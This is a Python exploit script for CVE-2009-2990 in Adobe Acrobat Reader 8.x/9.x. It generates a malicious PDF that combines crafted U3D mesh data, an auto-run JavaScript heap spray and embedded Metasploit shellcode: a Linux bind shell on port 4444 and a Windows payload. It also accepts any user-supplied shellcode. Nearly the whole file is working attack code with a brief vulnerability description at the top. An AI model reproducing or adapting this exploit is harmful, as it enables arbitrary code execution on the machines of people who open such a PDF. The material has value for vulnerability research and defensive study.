#########################################################################
####        Felipe Andres Manzano * felipe.andres.manzano@gmail.com  ####
####        http://twitter/feliam                                    ####
#########################################################################
__doc__='''

Title: U3D CLODProgressiveMeshContinuation Split Position Index arbitrary dereference.
Product: Adobe Acrobat Reader
Version: <=8.1.6, <=9.1.3
Product Homepage: www.adobe.com 
CVE: 2009-2990
OSs: WinXPSPx/Linux

Vulnerability Description
-----------------------------------------
Universal 3D (U3D) is a compressed file format standard for 3D computer
graphics data. 


When a U3D CLODProgressiveMeshContinuation (blocktype: 0xFFFFFF3C) is
parsed by Adobe acrobat reader U3D plugin the split position index is
readed from the input without any validation. That index is then used
for getting an object out of the limits of the array, object from wich a
function pointer is dereferenced and called.

From the u3d specification:
## 9.6.1.3.4.1 U32 [rCurrentPositionCount]: Split Position Index
# Split Position Index is the index of the position to be split by this
# Resolution Update.


Exploiting:
In acrobat using a well known js heap spray an attacker could control
the contents of the dereferenced object and execute arbitrary code.
Note that, at least for XP there is NO strict need to do the spray with JS/Flash.
An multiexploit for {Adobe Acrobat Reader/Multilingual}x{7.x, 8.x,
9.x}x{XPSP2, XPSP3, Linux} is provided as a ..  PoC.


REFERENCES
==========
http://www.adobe.com/support/security/bulletins/apsb09-15.html
http://en.wikipedia.org/wiki/Universal_3D
http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-363%204th%20edition.pdf
http://www.adobe.com/devnet/acrobat3d/pdfs/U3DElements.pdf  
http://www.ucon-conference.org/materials/2009/HackingPDFReaders-uCon-2009.pdf

Vulnerability WorkAround (if possible)
-----------------------------------------
PATCH AVAILABLE!


'''
import os
import zlib
import sys
import struct

#For constructing a minimal pdf file
class PDFObject:
    def __init__(self):
        self.n=None
        self.v=None

    def __str__(self):
        raise "Fail"

class PDFStream(PDFObject):
    def __init__(self, dict,stream):
        PDFObject.__init__(self)
        dict.add('Length', len(stream))
        self.dict=dict
        self.stream=stream

    def __str__(self):
        s=""
        s+=self.dict.__str__()
        s+="\nstream\n"
        s+=self.stream
        s+="\nendstream"
        return s

class PDFArray(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s=s
    def __str__(self):
        return "[%s]"%(" ".join([ o.__str__() for o in self.s]))


class PDFDict(PDFObject):
    def __init__(self):
        PDFObject.__init__(self)
        self.dict = []    

    def add(self,name,obj):
        self.dict.append((name,obj))

    def __str__(self):
        s="<<"
        for name,obj in self.dict:
            s+="/%s %s "%(name,obj)
        s+=">>"
        return s

class PDFName(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s=s
    def __str__(self):
        return "/%s"%self.s

class PDFString(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s=s

    def __str__(self):
        return "(%s)"%self.s

class PDFHexString(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s=s

    def __str__(self):
        return "<" + "".join(["%02x"%ord(c) for c in self.s]) + ">"

class PDFOctalString(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s="".join(["\\%03o"%ord(c) for c in s])

    def __str__(self):
        return "(%s)"%self.s

class PDFNum(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s=s

    def __str__(self):
        return "%s"%self.s

class PDFBool(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s=s

    def __str__(self):
        if self.s:
            return "true"
        return "false"

class PDFRef(PDFObject):
    def __init__(self,obj):
        PDFObject.__init__(self)
        self.obj=[obj]
    def __str__(self):
        return "%d %d R"%(self.obj[0].n,self.obj[0].v)

class PDFNull(PDFObject):
    def __init__(self):
        PDFObject.__init__(self)

    def __str__(self):
        return "null"


class PDFDoc():
    def __init__(self):
        self.objs=[]

    def setRoot(self,root):
        self.root=root

    def _add(self,obj):
        obj.v=0
        obj.n=1+len(self.objs)
        self.objs.append(obj)

    def add(self,obj):
        if type(obj) != type([]):
            self._add(obj);
        else:
            for o in obj:
                self._add(o)

    def _header(self):
        return "%PDF-1.7\n"

    def __str__(self):
        doc1 = self._header()
        xref = {}
        for obj in self.objs:
            xref[obj.n] = len(doc1)
            doc1+="%d %d obj\n"%(obj.n,obj.v)
            doc1+=obj.__str__()
            doc1+="\nendobj\n" 
        posxref=len(doc1)
        doc1+="xref\n"
        doc1+="0 %d\n"%(len(self.objs)+1)
        doc1+="0000000000 65535 f\n"
        for xr in xref.keys():
            doc1+= "%010d %05d n\n"%(xref[xr],0)
        doc1+="trailer\n"
        trailer =  PDFDict()
        trailer.add("Size",len(self.objs)+1)
        trailer.add("Root",PDFRef(self.root))
        doc1+=trailer.__str__()
        doc1+="\nstartxref\n%d\n"%posxref
        doc1+="%%EOF\n\n"

        return doc1

##Main
## linux_ia32_bind -  LPORT=4444 Size=84 Encoder=None http://metasploit.com 

linScode = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96"
linScode += "\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56"
linScode += "\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1"
linScode += "\xb0\x66\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0"
linScode += "\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
linScode += "\x89\xe1\xcd\x80"

# win32_exec -  EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com 
w32Scode = "\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x88"
w32Scode += "\x06\x28\x26\x83\xeb\xfc\xe2\xf4\x74\xee\x6c\x26\x88\x06\xa3\x63"
w32Scode += "\xb4\x8d\x54\x23\xf0\x07\xc7\xad\xc7\x1e\xa3\x79\xa8\x07\xc3\x6f"
w32Scode += "\x03\x32\xa3\x27\x66\x37\xe8\xbf\x24\x82\xe8\x52\x8f\xc7\xe2\x2b"
w32Scode += "\x89\xc4\xc3\xd2\xb3\x52\x0c\x22\xfd\xe3\xa3\x79\xac\x07\xc3\x40"
w32Scode += "\x03\x0a\x63\xad\xd7\x1a\x29\xcd\x03\x1a\xa3\x27\x63\x8f\x74\x02"
w32Scode += "\x8c\xc5\x19\xe6\xec\x8d\x68\x16\x0d\xc6\x50\x2a\x03\x46\x24\xad"
w32Scode += "\xf8\x1a\x85\xad\xe0\x0e\xc3\x2f\x03\x86\x98\x26\x88\x06\xa3\x4e"
w32Scode += "\xb4\x59\x19\xd0\xe8\x50\xa1\xde\x0b\xc6\x53\x76\xe0\x78\xf0\xc4"
w32Scode += "\xfb\x6e\xb0\xd8\x02\x08\x7f\xd9\x6f\x65\x49\x4a\xeb\x28\x4d\x5e"
w32Scode += "\xed\x06\x28\x26"

#Trap shellcode
dbgScode = "\xcc"*10


class PDFU3DExploit:
    def _toJS(self, s):
        if len(s) % 2 != 0:
            raise "Err! Should be even number of chars"
        r = ""
        for i in range (0,len(s)/2):
            r += "%u"+ "".join([ "%02x%02x"%(ord(s[i*2+1]),ord(s[i*2]))])
        return r


    def _getU3DStream(self, index):
        stream =  "\x53\x6f\x72\x72\x79\x2c\x20\x6b\x69\x6c\x6c\x69\x6e\x67\x20\x73"
        stream += "\x6f\x6d\x65\x20\x73\x6b\x69\x64\x64\x69\x65\x73\x2e\x20\x20\x20"
        stream += "\x55\x33\x44\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
        stream += "\x00\x00\x00\x00\x24\x00\x00\x00\x80\xb6\x02\x00\x00\x00\x00\x00"
        stream += "\x6a\x00\x00\x00\x14\xff\xff\xff\xa0\x00\x00\x00\x00\x00\x00\x00"
        stream += "\x0b\x00\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x01\x00\x00"
        stream += "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x31\xff\xff\xff"
        stream += "\x75\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x45\x45\x45\x45\x45\x45"
        stream += "\x45\x45\x45\x45\x45\x00\x00\x00\x00\x00\x00\x00\x00\x22\xc3\x00"
        stream += "\x00\x26\x62\x00\x00\x66\x49\x02\x00\x00\x00\x00\x00\x00\x00\x00"
        stream += "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
        stream += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x26\x62\x00\x00\x2c\x01\x00"
        stream += "\x00\x2c\x01\x00\x00\x2c\x01\x00\x00\x6c\x1e\x0b\x3f\xa6\x05\x6f"
        stream += "\x3b\xa6\x05\x6f\x3b\x4a\xf5\x2d\x3c\x4a\xf5\x2d\x3c\x66\x66\x66"
        stream += "\x3f\x00\x00\x00\x3f\xf6\x28\x7c\x3f\x00\x00\x00\x00\x00\x00\x00"
        stream += "\x3c\xff\xff\xff\xf6\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x45\x45"
        stream += "\x45\x45\x45\x45\x45\x45\x45\x45\x45\x00\x00\x00\x00\x00\x00\x00"
        stream += "\x00\x00\x10\x00\x00"
        stream += struct.pack("<L",index)  
        stream += "\x00\x00\x00\x00\x00\x00\x00"
        stream += "\x00\x00\x00\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00"
        stream += "\x3f\xeb\x95\x0d\x00\x00\x76\x05\x00\x00\xea\x15\x00\x00\xe2\x02"
        stream += "\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f\xaa\x00\x00\x00\xc2"
        stream += "\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00\x00"
        stream += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01"
        stream += "\x00\x20\x44\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00"
        stream += "\xb2\x0b\x00\x20\xfd\x19\x00\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59"
        stream += "\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8\xc1\x04\x00\x70\xc4"
        stream += "\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20\xa1"
        stream += "\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f"
        stream += "\x72\x9a\x1d\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8"
        stream += "\x00\x00\x54\xce\xfb\x32\x00\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00"
        stream += "\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53\xe9\x10\x9d\x6b\x06"
        stream += "\x00\x50\xa2\x00"

        #laziest hack ever! Another index must be found for using the following 
        # stream in windows.. and a lot of tests shoul be done.
        if (index == 0x01d10000):
            return stream

        stream =  "\x53\x6f\x72\x72\x79\x2c\x20\x6b\x69\x6c\x6c\x69\x6e\x67\x20\x73"
        stream += "\x6f\x6d\x65\x20\x73\x6b\x69\x64\x64\x69\x65\x73\x2e\x20\x20\x20"
        stream += "\x55\x33\x44\x00\x18\x00\x00\x00\x16\x04\x00\x00\x00\x01\x00\x00"
        stream += "\x00\x00\x00\x00\x24\x00\x00\x00\x74\x01\x00\x00\x00\x00\x00\x00"
        stream += "\x6a\x00\x00\x00\x01\x00\x00\x00\x08\x00\x61\x6c\x61\x6c\x61\x6c"
        stream += "\x61\x30\x01\x00\x00\x00\x00\x04\x00\x00"
        stream += "\xa8"*1024
        stream += "\x50\x50\x14\xff\xff\xff"
        stream += "\xa0\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x41\x41\x41\x41\x41\x41"
        stream += "\x41\x41\x41\x41\x41\x01\x00\x00\x00\x00\x00\x00\x00\x50\x50\x50"
        stream += "\x01\x00\x00\x00\x31\xff\xff\xff\x75\x00\x00\x00\x00\x00\x00\x00"
        stream += "\x0b\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x00"
        stream += "\x00\x00\x00\x00\x00\x22\xc3\x00\x00\x26\x66\x00\x00\x04\x00\x00"
        stream += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
        stream += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00\x00"
        stream += "\x00\x65\x00\x00\x00\x2c\x01\x00\x00\x2c\x01\x00\x00\x2c\x01\x00"
        stream += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        stream += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        stream += "\x00\x00\x00\x00\x00\x50\x50\x50\x3c\xff\xff\xff\x95\x00\x00\x00"
        stream += "\x00\x00\x00\x00\x0b\x00\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
        stream += "\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
        stream += struct.pack("<L",index) #\x3c\xfe\xff"
        stream += "\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00"
        stream += "\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00"
        stream += "\x00\x01\x00\x00\x00\x01\x00\x00\x00\x46\x65\x6c\x69\x46\x65\x6c"
        stream += "\x69\x46\x65\x6c\x69\x46\x65\x6c\x69\x46\x65\x6c\x69\x46\x65\x6c"
        stream += "\x69\x46\x65\x6c\x69\x46\x65\x6c\x69\x46\x65\x6c\x69\x46\x65\x6c"
        stream += "\x69\x46\x65\x6c\x69\x46\x65\x6c\x69\x46\x65\x6c\x69\x46\x65\x6c"
        stream += "\x69\x46\x65\x6c\x69\x46\x65\x6c\x69\x46\x65\x6c\x69\x46\x65\x6c"
        stream += "\x69\x46\x65\x6c\x69\x46\x65\x6c\x69\x50\x50\x50"

        return stream


    def _getU3DAnnotation(self, u3d):
        str3d = PDFDict()
        str3d.add("Type","/3D")
        str3d.add("Subtype","/U3D")

        str3d = PDFStream(str3d,u3d)
        self.doc.add(str3d)

        annot3d = PDFDict()
        annot3d.add("Type",PDFName("Annot")) 
        annot3d.add("Subtype","/3D")
        annot3d.add("Contents", "(a pwning u3d model)")
        annot3d.add("3DI", "false")
        annot3d.add("3DA", "<< /A /PO /DIS /I >>")
        annot3d.add('Rect', PDFArray([ 0, 0, 640, 480]))
        annot3d.add("3DD", PDFRef(str3d))
        annot3d.add("F", "7")
        self.doc.add(annot3d)
        return  PDFRef(annot3d)


    def __init__(self,w32scode,linscode):
        self.doc= PDFDoc()
        self.w32Scode = w32scode
        self.linScode = linscode
        javascript = PDFDict()
        javascript.add("S", PDFName("JavaScript"))
        javascript.add("JS", PDFHexString(''' 

    var jmp = unescape("%u9090%u7f3e");
    var nop = unescape("%u9090%u9090");

    function mkSlice(str,size,rest){
        while (str.length <= size/2) 
            str += str;
        str = str.substring(0, size/2 -32/2 -4/2 - rest -2/2);
        return str;
    };

    function spray(escA,escB,escC,escShellcode){
        var i;
        var pointersA = unescape(escA);
        var pointersB = unescape(escB);
        var pointersC = unescape(escC);
        var shellcode = unescape(escShellcode);

        pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);
        pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);
        pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);
        nop_slide = mkSlice(nop,0x100000, shellcode.length);
        var x = new Array();       
        for (i = 0; i < 400; i++) { 
                if(i<100)
                    x[i] = pointersA_slide+pointersA;
                else if(i<200)
                    x[i] = pointersB_slide+pointersB;
                else if(i<300)
                    x[i] = pointersC_slide+pointersC;
                else
                    x[i] = nop_slide+shellcode;
            }
       return x;
    };
    var mem;
    if (app.platform == "WIN"){
        mem = spray("%u0f0f%u0f0f","%u1616%u1616","%u1c1c%u1c1c","'''+self._toJS(self.w32Scode)+'''")
        this.pageNum = 2;
    }else if (app.platform =="MAC"){
        this.pageNum = 0; //not exploitable
    }else{
        mem = spray("%u5979%u7975","%ua2a2%ua2a2","%u9c9c%u9c9c","'''+self._toJS(self.linScode)+'''");    
        this.pageNum = 1;
    }
//feli
    '''))

        self.doc.add(javascript)

        branding = PDFDict()
        branding.add("Author", PDFString("Felipe Andres Manzano"))
        branding.add("email", PDFString("felipe.andres.manzano@gmail.com"))
        branding.add("web", PDFString("felipe.andres.manzano.googlepages.com"))
        self.doc.add(branding)

        #outline
        outlines = PDFDict()
        outlines.add("Type", PDFName("Outlines"))
        outlines.add("Count",0)

        #pages
        pages = PDFDict()
        pages.add("Type", PDFName("Pages"))

        #catalog
        catalog = PDFDict()
        catalog.add("Type", PDFName("Catalog"))
        catalog.add("Outlines", PDFRef(outlines))
        catalog.add("Pages", PDFRef(pages))
        catalog.add("OpenAction", PDFRef(javascript))

        #lets add those to doc just for showing up the Ref object.
        self.doc.add([catalog,outlines,pages])
        #Set the pdf root
        self.doc.setRoot(catalog)

        contents = PDFStream(PDFDict(), '(Aaaaa) Tj' )
        resources = PDFDict()
        resources.add('ProcSet', PDFArray([PDFName('PDF')]))

        self.doc.add([contents, resources])

        #The pdf pages

        linuxPage = PDFDict()
        linuxPage.add('Type', PDFName('Page'))
        linuxPage.add('Parent', PDFRef(pages))
        linuxPage.add('MediaBox', PDFArray([ 0, 0, 640, 480]))
        linuxPage.add('Contents', PDFRef(contents))
        linuxPage.add('Resources', PDFRef(resources))

#2.6.24linuxPage.add('Annots', PDFArray([self._getU3DAnnotation(self._getU3DStream(0xb0000))]))
#2.6.27linuxPage.add('Annots', PDFArray([self._getU3DAnnotation(self._getU3DStream(0xbd0000))]))
#linuxPage.add('Annots', PDFArray([self._getU3DAnnotation(self._getU3DStream(0xffffff9f))]))
        linuxPage.add('Annots', PDFArray([self._getU3DAnnotation(self._getU3DStream(0xfffffe3c))]))
        self.doc.add(linuxPage)


        windowsPage = PDFDict()
        windowsPage.add('Type', '/Page')
        windowsPage.add('Parent', PDFRef(pages))
        windowsPage.add('MediaBox', PDFArray([ 0, 0, 640, 480]))
        windowsPage.add('Contents', PDFRef(contents))
        windowsPage.add('Resources', PDFRef(resources))
        windowsPage.add('Annots', PDFArray([self._getU3DAnnotation(self._getU3DStream(0x01d10000))]))

        self.doc.add(windowsPage)

        pageDummy = PDFDict()
        pageDummy.add('Type', '/Page')
        pageDummy.add('Parent', PDFRef(pages))
        pageDummy.add('MediaBox', PDFArray([ 0, 0, 640, 480]))
        pageDummy.add('Contents', PDFRef(contents))
        pageDummy.add('Resources', PDFRef(resources))

        self.doc.add(pageDummy)

        pages.add('Count', PDFNum(3))
        pages.add('Kids',PDFArray([PDFRef(pageDummy),PDFRef(linuxPage),PDFRef(windowsPage)]))


    def render(self):
        #render it
        return self.doc.__str__()


##Main
if __name__=="__main__":
    if len(sys.argv) != 2:
        print __doc__
        print "For metasploit integration check out:\n\t http://sites.google.com/site/felipeandresmanzano/python_pdf_wrapper.rb"
        print "Usage:\n\t%s %s"%(sys.argv[0],"shellcode".encode('hex'))
        sys.exit()
    u3dpdf = PDFU3DExploit(sys.argv[1].decode('hex'),linScode)
    print u3dpdf.render()